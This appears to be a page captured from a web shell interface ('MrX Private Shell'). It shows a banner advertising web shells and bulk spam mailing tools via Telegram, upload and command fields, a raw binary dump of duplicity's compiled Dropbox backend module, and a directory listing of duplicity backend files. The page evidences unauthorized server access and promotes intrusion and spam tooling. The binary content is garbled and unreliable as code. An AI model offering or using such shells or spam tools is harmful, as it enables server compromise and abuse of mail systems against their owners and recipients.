__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g`L��:�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	rSSK
JrJr SSK
J
r
 SSKJr SSKJr SSKr
SrSr\R*"S5rS	rSS
jr"SS\
R2R45r\
R2R9S
\5 g)�N)�log�config)�progress��BackendException)�ConnectionErroriiz \([0-9]+\)\.[^\.]+$c�H�[R"SUS35 [R"5n[R
"US9 UR
S5 UR5H*n[R"SUR535 M, UR5 g)NzException [z]:)�filerz| )
r�Error�io�StringIO�	traceback�	print_exc�seek�	readlines�rstrip�close)�e�f�ss   �@/usr/lib/python3/dist-packages/duplicity/backends/dpbxbackend.py�
log_exceptionr=sm���I�I��A�3�b�!�"�
���
�A�
���Q���F�F�1�I�
�[�[�]���	�	�B�q�x�x�z�l�#�$���G�G�I�c��SnU$)z6a decorator for handling authentication and exceptionsc�6^�U4SjnTRUlU$)Nc�>�T"U/UQ76$![an[U5 [SUS35eSnAf[aDn[U5 [R
"SUS3[RR5 eSnAff=f)Nzdpbx api error "�"zdpbx code error ")�ApiErrorrr�	Exceptionrr�	ErrorCode�backend_code_error)�self�argsrrs   �r�wrapper�*command.<locals>.decorate.<locals>.wrapperKsz���
���~��~�%���
@��a� �&�)9�!��A�'>�?�?���
��a� ��	�	�-�a�S��2�C�M�M�4T�4T�U���
�s��
B�0�
B�?A<�<B)�__doc__)rr$s` r�decorate�command.<locals>.decorateJs���		��)�)����r�)�login_requiredr's  r�commandr+Gs��
��Orc���\rSrSrSrSrSrSrSrSr	Sr
S	r\"5S
5r
SrSr\"5S
5r\"5S5r\"5S5r\"5S5r\"5S5rSrSrg)�DPBXBackend�\z-Connect to remote store using Dr*pB*x servicec�D�[RRRX5 SSKJq SSKJqJqJ	q	 SSK
JqJqJ
q
JqJqJqJq SSKJq SUlSUlSUlUR55 g![(an[+S[-U535eSnAff=f)Nr)�Dropbox)�	AuthError�
BadInputErrorr)�UploadSessionCursor�
CommitInfo�	WriteMode�GetMetadataError�DeleteError�UploadSessionLookupError�ListFolderError)�DropboxOAuth2FlowNoRedirectztThis backend requires the dropbox package version 6.9.0
To install use "sudo pip install dropbox==6.9.0"
Exception: )�	duplicity�backend�Backend�__init__�dropboxr0�dropbox.exceptionsr1r2r�
dropbox.filesr3r4r5r6r7r8r9�
dropbox.oauthr:�ImportErrorr�str�api_account�
api_client�	auth_flow�login)r"�
parsed_urlrs   rr>�DPBXBackend.__init___s������!�!�*�*�4�<�	�'�
�
�

�
�
�
B� ����������
�
����	�"����F�8���
��	�s�(A9�9
B�B�Bc���URR5n[R"SU35 g![a n[R"S5 SnAgSnAff=f)NzUser authenticated as ,TzUser not authenticatedF)rF�users_get_current_accountr�Debugr)r"�accountrs   r�user_authenticated�DPBXBackend.user_authenticated�sP��	��o�o�?�?�A�G��I�I�/��y�9�:����	��I�I�.�/���	�s�36�
A �A�A c�B�[RRSS5$)N�DPBX_ACCESS_TOKEN)�os�environ�get�r"s r�load_access_token�DPBXBackend.load_access_token�s���z�z�~�~�1�4�8�8rc� �[SUS35e)Nz$dpbx: Please set DPBX_ACCESS_TOKEN="z" environment variabler)r"�access_tokens  r�save_access_token�DPBXBackend.save_access_token�s���!E�l�^�Si�j�k�krc���[R"S5 SH&nU[R;dM[	SUS35e [RSn[RSn[
RR5(a#[
RR5(d/[R"S[RR5 [X#5n[R"S5 UR5n[5 [S	5 [S
U35 [S5 [S5 [S	5 [!S
5R#5n[R"SUS35 UR%U5n[R"S5 UR)UR*5 g![&an[	SU35eSnAff=f)Nz#dpbx: trying to obtain access token)�DPBX_APP_KEY�DPBX_APP_SECRETzdpbx: z environment variable not setr^r_z5dpbx error: cannot interact, but need human attentionzdpbx,auth_flow.start()�H------------------------------------------------------------------------z
1. Go to: z22. Click "Allow" (you might have to log in first).z3. Copy the authorization code.z#Enter the authorization code here: zdpbx,auth_flow.finish(�)z%dpbx: Unable to obtain access token: z dpbx: Authentication successfull)r�InforSrTr�sys�stdout�isatty�stdin�
FatalErrorr �backend_command_errorr:rM�start�print�input�strip�finishrr[rZ)	r"�env_var�app_key�
app_secretrG�
authorize_url�	auth_code�
authresultrs	         r�obtain_access_token�DPBXBackend.obtain_access_token�s}�����6�7�:�G��b�j�j�(�&���y�8U�'V�W�W�;��*�*�^�,���Z�Z� 1�2�
��z�z� � �"�"�#�)�)�*:�*:�*<�*<��N�N�G��
�
�3�3�
�
0��D�	��	�	�*�+�!���)�
�
��
�h��
�
�=�/�*�+�
�B�C�
�/�0�
�h���?�@�F�F�H�	�	P��I�I�.�y�k��;�<�"�)�)�)�4�J�	���3�4����z�6�6�7���	P�"�%J�1�#�#N�O�O��	P�s�-+G
�

G'�G"�"G'c�t�UR5cUR5 [UR55UlSUl[
R"S5 URR5Ul[
R"SUR35 [
R"SURRR35 g![[4aOn[
R"SU35 [
R"S5 UR5 [S5eSnAff=f)Nz'dpbx,users_get_current_account([token])zdpbx,zdpbx,exception: z>dpbx: Authentication failed. Trying to obtain new access tokenz3dpbx: Please update DPBX_ACCESS_TOKEN and try againz$dpbx: Successfully authenticated as )rWrtr0rFrErrMrLr2r1rbr�name�display_name)r"rs  rrH�DPBXBackend.login�s����!�!�#�+��$�$�&�!�$�"8�"8�":�;������
	Z��I�I�?�@�#���H�H�J�D���I�I��d�.�.�/�0�1�	���7��8H�8H�8M�8M�8Z�8Z�7[�\�]���y�)�	Z��I�I�(���,�-��H�H�U�V��$�$�&�#�#X�Y�Y��	Z�s�AC�D7�(A
D2�2D7c��[U[5(a�URn[U[5(aSUR	5(a>UR5R
5(a[RR$g[U[5(a`UR5(aJURR5nUR
5(a[RR$gggg)N)
�
isinstancer�errorr6�is_path�get_path�is_not_foundrr �backend_not_foundr7�is_path_lookup�get_path_lookup)r"�	operationr�err�lookups     r�_error_code�DPBXBackend._error_code�s����a��"�"��'�'�C��#�/�0�0�S�[�[�]�]��<�<�>�.�.�0�0��=�=�:�:�:�1��C��-�-�#�2D�2D�2F�2F����0�0�2���&�&�(�(��=�=�:�:�:�)�3G�-�
#rc��[RRURRRS55nS[RRX2R55R53n[RRUR5n[R"SU5 U[:aURX5nOUR!X5nUR"U:wa[%SUR"SUS35eUR&U:wa[%SUR&SUS35eg)N�/rzdpbx: result path mismatch: � (expected: razdpbx: result size mismatch: )�urllib�parse�unquoterI�path�lstriprS�join�decoder�getsizerwr�report_transfer�DPBX_UPLOAD_CHUNK_SIZE�put_file_small�put_file_chunked�path_displayr�size)r"�source_path�remote_filename�
remote_dir�remote_path�	file_size�res_metadatas       r�_put�DPBXBackend._put�s���\�\�)�)�$�/�/�*>�*>�*E�*E�c�*J�K�
��"�'�'�,�,�z�3I�3I�3K�L�S�S�U�V�W���G�G�O�O�K�$4�$4�5�	�� � ��I�.��-�-��.�.�{�H�L��0�0��J�L��$�$��3�"�%A�,�B[�B[�A\�\h�it�hu�uv�#w�x�x����	�)�"�%A�,�BS�BS�AT�T`�aj�`k�kl�#m�n�n�*rc	�.�UR5(dUR5 [RR	UR
5nUR
S5n[R"SUS[U5S35 URRUR5U[RSSSS9n[R"SU35 [R "X35 UUR#5 $!UR#5 f=f)	N�rbzdpbx,files_upload(z, [z bytes])FT��mode�
autorename�client_modified�mutezdpbx,files_upload(): )rOrHrSr�r�rw�openrrM�intrF�files_upload�readr5�	overwriterr�r)r"r�r�r�rr�s      rr��DPBXBackend.put_file_small�s����&�&�(�(��J�J�L��G�G�O�O�K�$4�$4�5�	����T�"��	��I�I�*�;�-�s�3�y�>�:J�(�S�T��?�?�7�7�������(�(� � $��
8��L�
�I�I�-�l�^�<�=��$�$�Y�:��
�G�G�I��A�G�G�I�s
�!BD�Dc�4
�UR5(dUR5 [RR	UR
5nUR
S5nUR[5n[R"S[U5S[U535 URRU5n[R"SU35 [UR UR#55n[%U[&R(SSSS9nSn	[*R,"UR#5U5 Sn
[n[.R0nSn
U
(aU	(Gd�U
bX�lUR#5UR2:waUR5UR25 URU5nUR#5U:�n
U
(d[U5S:XaM�Sn
[n[.R0nU
(d{[U5S:wde[R"S	[U5S
[UR25S35 URR7XWR UR25 OU[R"S[U5S
[UR25S35 URR9XWU5n	UR#5Ul[R"S
[UR25S[U535 [*R,"UR2U5 U
(dGM�U	(dGM�UR#5U:wa[IS5e[R"SU	35 [*R,"UR#5U5 U	URS5 $![:a�nUR<n[?U[@5(avURC5(aaURE5RFn[R"S[UR25SUS35 U
b[IS5eUn
SnAGMeSnAf[Ja�n[R"SU35 US-nUR5(dUR5 US:Xae[RL"S5 [NRP"S5 [S-nSn
SnAGM�SnAff=f!URS5 f=f)Nr�z!dpbx,files_upload_session_start([z bytes]), total: z#dpbx,files_upload_session_start(): FTr�rz#dpbx,files_upload_sesssion_append([z bytes], offset=raz#dpbx,files_upload_sesssion_finish([z
progress: z of z4dpbx,files_upload_session_append: incorrect offset: r�zdpbx: unable to chunk uploadz"dpbx,files_upload_session_append: �z'dpbx: sleeping a bit before chunk retry��zdpbx: something wrongz%dpbx,files_upload_sesssion_finish(): )*rOrHrSr�r�rwr�r�r�rrM�lenr�rF�files_upload_session_startr3�
session_id�tellr4r5r�rr�r�num_retries�offsetr�files_upload_session_append�files_upload_session_finishrr|r{r8�is_incorrect_offset�get_incorrect_offset�correct_offsetrrrb�time�sleepr)r"r�r�r�r�buf�
upload_sid�
upload_cursor�commit_infor��requested_offset�current_chunk_size�retry_number�is_eofrr|�
new_offsets                 rr��DPBXBackend.put_file_chunkeds1���&�&�(�(��J�J�L��G�G�O�O�K�$4�$4�5�	����T�"��n	��&�&�/�0�C��I�I�9�#�c�(��CT�UX�Yb�Uc�Td�e�f����C�C�C�H�J��I�I�;�J�<�H�I�/�
�0E�0E�q�v�v�x�P�M�$���(�(� � $���K� �L��$�$�Q�V�V�X�y�9�#��!7��!�-�-�L��F�
�L�J�'�3�/?�,��v�v�x�=�#7�#7�7����}�3�3�4��&�&�!3�4�C��V�V�X��2�F�!�c�#�h�!�m� �(,�$�)?�&�#)�#5�#5�L�!�"�3�x�1�}�,�}��	�	�A�#�c�(��L&�&)�-�*>�*>�&?�%@��C�����C�C�C�Ia�Ia�cp�cw�cw�x��	�	�A�#�c�(��L&�&)�-�*>�*>�&?�%@��C��(,���'R�'R�SV�gr�'s��+,�6�6�8�M�(��I�I�
�3�}�/C�/C�+D�*E�T�#�i�.�IY�Z�[��,�,�]�-A�-A�9�M�E�f�L�L�Z�v�v�x�9�$�&�'>�?�?��I�I�=�l�^�L�M��$�$�Q�V�V�X�y�9��
�G�G�I��g ���G�G�E�!�%�)A�B�B�u�G`�G`�Gb�Gb�&+�%?�%?�%A�%P�%P�
��	�	�R�SV�Wd�Wk�Wk�Sl�Rm�n*�*4��Q�8��,�7�#3�3Q�"R�R�0:�,� ���&���I�I� B�1�#�F�G� �A�%�L��2�2�4�4��
�
��#�q�(��
�H�H�F�G��J�J�r�N�)?�!�)C�&�'+�$���%��:
�G�G�I�sl�!DT�(A<O�$T�&EO�T�
T�AT�
T�BQ(� T�'Q(�(
T�5BS=�6T�=T�T�Tc�v�UR5(dUR5 [RR	UR
RRS55nS[RRX1R55R53n[R"SUS35 URRU5upV[R"SUSUSU35 UR nSn["R$"SU5 UR'S5nUR)[*5H9n	UR-U	5 ["R$"UR/5U5 M; U(aUR15 UR15 [RR3UR45n
X�:wa$[7S[9U
5S	[9U5S35eUR;5 g!U(aUR15 UR15 f=f)
Nr�zdpbx,files_download(ra�): z, r�wbzdpbx: wrong file size: r�)rOrHr�r�r�rIr�r�rSr�r�rrrMrF�files_downloadr�rr�r��iter_content�DPBX_DOWNLOAD_BUF_SIZE�writer�rr�rwrr��setdata)r"r��
local_pathr�r�r��http_fdr��to_fd�c�
local_sizes           r�_get�DPBXBackend._get{s����&�&�(�(��J�J�L��\�\�)�)�$�/�/�*>�*>�*E�*E�c�*J�K�
��"�'�'�,�,�z�3I�3I�3K�L�S�S�U�V�W���	�	�(��
�Q�7�8� $��� >� >�{� K����	�	�(��
�S���b��	�R�S� �%�%�	���� � ��I�.�		��O�O�D�)�E��)�)�*@�A�����A���(�(�����y�A�B�
����
��M�M�O��W�W�_�_�Z�_�_�5�
��"�"�%<�S��_�<M�\�Z]�^g�Zh�Yi�ij�#k�l�l����������
��M�M�O�s
�"A#H�)H8c���UR5(dUR5 S[RR	UR
RRS55R53n[R"SUS35 /nURRU5n[R"SUSU35 URURVs/sHoDRPM sn5 UR (dO'URR#UR$5nMnUR5U5 U$s snf![&a�n[)UR*[,5(anUR*R/5(aOUR*R15R35(a"[R"SUSUS35 SnAN�eSnAff=f)Nr�zdpbx.files_list_folder(raz
dpbx.list(r�z): ignore missing folder ()rOrHr�r�r�rIr�r�rrrMrF�files_list_folder�extend�entriesrw�has_more�files_list_folder_continue�cursorrr{r|r9r}r~r�check_renamed_files)r"r��res�resp�entryrs      r�_list�DPBXBackend._list�sy���&�&�(�(��J�J�L�����-�-�d�o�o�.B�.B�.I�.I�#�.N�O�V�V�X�Y�Z�
��	�	�+�J�<�q�9�:���
	��?�?�4�4�Z�@�D��I�I�
�:�,�c�$��8�9���
�
�D�L�L�A�L�5�J�J�L�A�B��}�}�����A�A�$�+�+�N��	�	
� � ��%��
��B���	��!�'�'�?�3�3������8I�8I�a�g�g�N^�N^�N`�Nm�Nm�No�No��	�	�J�z�l�2L�Q�C�q�Q�R�R���		�s8�AE�'E�<E�'E�E�
G1�BG,�+G,�,G1c��UR5(dUR5 [RR	UR
RRS55nS[RRX!R55R53n[R"SUS35 URRU5 g)Nr�zdpbx.files_delete(ra)rOrHr�r�r�rIr�r�rSr�r�rrrMrF�files_delete)r"�filenamer�r�s    r�_delete�DPBXBackend._delete�s����&�&�(�(��J�J�L��\�\�)�)�$�/�/�*>�*>�*E�*E�c�*J�K�
��"�'�'�,�,�z�?�?�3D�E�L�L�N�O�P���	�	�&�{�m�1�5�6����$�$�[�1rc�0�[R"S5 g)z0close backend session? no! just "flush" the dataz
dpbx.close():N)rrMrVs r�_close�DPBXBackend._close�s��	�	�	�/�"rc�
�UR5(dUR5 [RR	UR
RRS55nS[RRX!R55R53n[R"SUS35 URRU5n[R"SUSU35 SUR 0$)Nr�zdpbx.files_get_metadata(rar�r�)rOrHr�r�r�rIr�r�rSr�r�rrrMrF�files_get_metadatar�)r"r�r�r��infos     r�_query�DPBXBackend._query�s����&�&�(�(��J�J�L��\�\�)�)�$�/�/�*>�*>�*E�*E�c�*J�K�
��"�'�'�,�,�z�?�?�3D�E�L�L�N�O�P���	�	�,�[�M��;�<����1�1�+�>���	�	�,�[�M��T�F�C�D���	�	�"�"rc�x�UR5(dUR5 UVs/sHn[RU5cMUPM nn[	U5S:Xag[
R"S5 [
R"S5 [
R"S5 [
R"S5 [
R"S5 [
R"S5 [
R"S5 [
R"S5 [
R"S	5 [
R"S5 [
R"S
5 UHn[
R"SU35 M [
R"S5 [
R"S5 [
R"S5 gs snf)
Nrr`zGWarning! It looks like there are automatically renamed files on backendzAThey were probably created when using older version of duplicity.�zIPlease check your backup consistency. Most likely you will need to choosezMlargest file from duplicity-* (number).gpg and remove brackets from its name.z?These files are not managed by duplicity at all and will not bezremoved/rotated automatically.zAffected files:�	z.In any case it's better to create full backup.)rOrH�DPBX_AUTORENAMED_FILE_RE�searchr�r�Warn)r"�	file_list�x�bad_lists    rr��DPBXBackend.check_renamed_files�s���&�&�(�(��J�J�L�(�[�y�!�,D�,K�,K�A�,N�A�y��[��x�=�A�����������Z�[����T�U���������\�]����`�a���������R�S����1�2���������"�#��A��H�H�r�!��X�����������A�B�������%\s�F7�F7)rErFrGN)�__name__�
__module__�__qualname__�__firstlineno__r&r>rOrWr[rtrHr�r+r�r�r�r�r�r�r�r�r��__static_attributes__r)rrr-r-\s���7�&�P�9�l�8�B^�.
;�
�Y�o��o�&�.t�l
�Y����@
�Y����8
�Y�2��2�
�Y�#��#�
�Y�	#��	#�rr-�dpbx)T)rrS�rercr�r�urllib.errorr��urllib.parse�urllib.requestr;rrr�duplicity.errorsr�requests.exceptionsr�duplicity.backendr�r��compiler�rr+r<r=r-�register_backendr)rr�<module>rs���:
�	�	�
��������-�/��*��$���:�:�&=�>����*R�)�#�#�+�+�R�j
���"�"�6�;�7r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager